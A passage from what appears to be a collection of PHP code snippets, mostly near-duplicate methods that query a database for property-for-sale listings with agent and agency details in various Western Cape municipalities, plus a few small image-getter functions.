tCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getOudtshoornPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '102'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "function _putimages() {\n parent::_putimages();\n $this->_putformxobjects();\n }", "public function get_images()\r\n\t\t{\r\n\t\t\t$images = $this->obj->result;\r\n\t\t\treturn $images;\r\n\t\t}", "public function getImages()\n {\n return $this->hasMany(Image::className(), ['venueId' => 'id']);\n }", "public function getCapeTownPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '96'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getImages() {\r\n\t\treturn $this->images === NULL ? array() : $this->images;\r\n\t}", "public function getImagesAttribute()\n\t{\n\t\treturn str_replace(public_path(), '', \\File::files(public_path() .'/img/forum/replies/images/'. $this->id));\n\t}", "public function getMatzikamaPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '118'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getCederbergPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '117'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getGeorgePropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '108'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getOffer_images()\n {\n return $this->offer_images;\n }", "public function getStellenboschPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '99'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getOverstrandPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '113'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new 